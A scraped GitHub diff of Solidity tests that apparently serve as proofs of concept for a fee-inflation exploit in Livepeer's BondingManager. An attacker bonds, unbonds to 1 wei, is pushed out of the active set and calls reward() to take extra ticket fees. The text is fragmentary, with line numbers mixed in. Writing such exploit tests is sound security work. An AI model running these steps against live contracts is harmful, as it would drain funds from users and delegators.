You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
function test_inflatedTicketForInactiveTranscoder() public {
63
+
uint256 startMinterBalance = MINTER.balance;
54
64
55
65
// Bond 4000 LPT from the attacker, enough to become an active transcoder in the forked block
56
-
lpt.approve(address(bm), type(uint256).max);
57
-
bm.bond(4000 ether, address(this));
58
-
// Set reward and fee cut rate such that the transcoder gets all rewards but delegators get all fees
59
-
bm.transcoder(1e6, 1e6);
66
+
BONDING_MANAGER.bond(4000 ether, address(this));
67
+
BONDING_MANAGER.transcoder(1e6, 1e6);
60
68
61
-
// Wait for the next round
62
-
_nextRound();
69
+
nextRound();
63
70
64
71
// Unbond all LPT except 1 wei, such that the transcoder becomes the last active transcoder wth 1 wei stake.
65
-
bm.unbond(4000ether-1 wei);
72
+
BONDING_MANAGER.unbond(4000ether-1 wei);
66
73
67
74
// Secondary attacker contract now bonds with the 10 LPT, kicking the main contract out of the active transcoders
68
-
CHEATS.startPrank(address(0x1337));
69
-
lpt.approve(address(bm), type(uint256).max);
70
-
bm.bond(10 ether, address(0x1337));
71
-
CHEATS.stopPrank();
75
+
CHEATS.prank(ticketSender);
76
+
BONDING_MANAGER.bond(10 ether, ticketSender);
72
77
73
78
// Main attacker now calls reward in the last active round, which will increase the activeCumulativeRewards but not the total stake of the next round (because they're not active anymore)
74
-
bm.reward();
79
+
BONDING_MANAGER.reward();
80
+
81
+
nextRound();
82
+
83
+
// Now redeeming the ticket will give 1 ETH in fees to the main attacker
function test_invalidTicketForUnbondedTranscoder() public {
102
+
// Bond 4000 LPT from the attacker, enough to become an active transcoder in the forked block
103
+
BONDING_MANAGER.bond(4000 ether, address(this));
104
+
BONDING_MANAGER.transcoder(1e6, 1e6);
105
+
106
+
nextRound();
107
+
108
+
// Unbond all LPT except such that the transcoder stops being a registered transcoder
109
+
BONDING_MANAGER.unbond(4000 ether);
75
110
76
-
// Wait for the next round
77
-
_nextRound();
111
+
// Main attacker now calls reward in the last active round, which will increase the activeCumulativeRewards but not the total stake of the next round (because they're not registered anymore)
0 commit comments